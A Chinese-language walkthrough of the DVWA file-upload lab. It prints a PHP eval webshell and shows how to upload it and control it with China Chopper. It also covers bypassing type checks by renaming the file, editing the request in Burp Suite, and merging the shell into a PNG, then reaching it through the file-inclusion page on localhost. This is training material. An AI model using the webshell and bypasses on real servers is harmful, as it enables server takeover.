文件上传漏洞简介
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的
LOW 级别破解
查看源代码 可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件
,其次上传文件必须能够被执行
,最后就是上传文件的路径必须可知
。不幸的是,这里三个条件全都满足。
1.编写木马文件
<?php
@eval($_REQUEST['cmd']);phpinfo();
?>
2.上传木马文件
上传成功,并且返回了上传路径
3.权限获得
打开中国菜刀,添加上一步获得到的上传路径 然后菜刀就会通过向服务器发送包含cmd参数的post请求,在服务器上执行任意命令,获取webshell权限。 可以下载、修改服务器的所有文件。 可以打开终端
Medium别破解
查看源代码 Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)
方法1:组合拳(文件包含+文件上传)
因为采用的是一句话木马,所以文件大小不会有问题,至于文件类型的检查,尝试修改文件名为cmd.png。
1.将文件构造成png后缀形式
2. 上传png形式的图片
3.尝试使用中国菜刀进行权限获得
虽然成功上传了文件,但是并不能成功获取webshell权限,在菜刀上无论进行什么操作都会返回如下信息 中国菜刀的原理是向上传文件发送包含cmd参数的post请求,通过控制apple参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
那么如何让服务器将其解析为php文件呢?我们想到文件包含漏洞。这里可以借助Medium级别的文件包含漏洞来获取webshell权限,打开中国菜刀,右键添加,在地址栏中输入
http://127.0.0.1/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/hackable/uploads/cmd.png
进而获得webshell 的权限
方法2:抓包修改文件类型
1.通过burpSuite进行抓包
上传cmd.png文件,抓包。
2.更改filename
可以看到文件类型为image/png,尝试修改filename为cmd.php
。
3.尝试使用中国菜刀进行权限获得
High 级别破解
查看源代码 High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型
1.图片和文件合并
利用copy将一句话木马文件cmd.php与图片文件1.png合并
使用 copy 1.png/b+cmd.php/a hack.png
命令 生成hack.png 图片
打开hack.png可以看到,一句话木马藏到了最后
2.上传文件
成功上传文件
3.通过文件包含去进行访问
点击文件包含页面 然后替换url为:
http://127.0.0.1/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA\hackable\uploads\hack.png